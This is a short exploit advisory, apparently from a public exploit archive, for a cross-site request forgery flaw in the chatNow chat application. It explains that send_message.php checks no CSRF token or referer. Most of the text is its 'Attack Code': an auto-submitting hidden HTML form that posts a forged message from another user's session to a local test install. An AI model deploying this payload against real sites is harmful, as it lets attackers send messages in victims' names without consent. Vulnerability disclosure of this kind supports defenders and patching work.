chatNow 0.0.0 Cross Site Request Forgery

`# Exploit Title: chatNow - CSRF(Send MSG)  
# Date: 2016-08-23  
# Exploit Author: HaHwul  
# Exploit Author Blog: www.hahwul.com  
# Vendor Homepage: http://chatnow.thiagosf.net/  
# Software Link: https://github.com/thiagosf/chatNow/archive/master.zip  
# Version: Latest commit  
# Tested on: Debian [wheezy]  
  
### Vulnerability  
'send_message.php' is not check the csrf token or referer header.  
It is possible CSRF Attack.  
  
### Attack Code  
<form name="csrf_poc" action="http://127.0.0.1/vul_test/chatNow/send_message.php" method="POST">  
<input type="hidden" name="to_user" value="0">  
<input type="hidden" name="scroll_page" value="on">  
<input type="hidden" name="id_user" value="2">  
<input type="hidden" name="message" value="CSRF">  
<input type="hidden" name="reserved" value="false">  
  
<input type="submit" value="Attack!">  
</form>  
  
<script type="text/javascript">document.forms.csrf_poc.submit();</script>  
  
`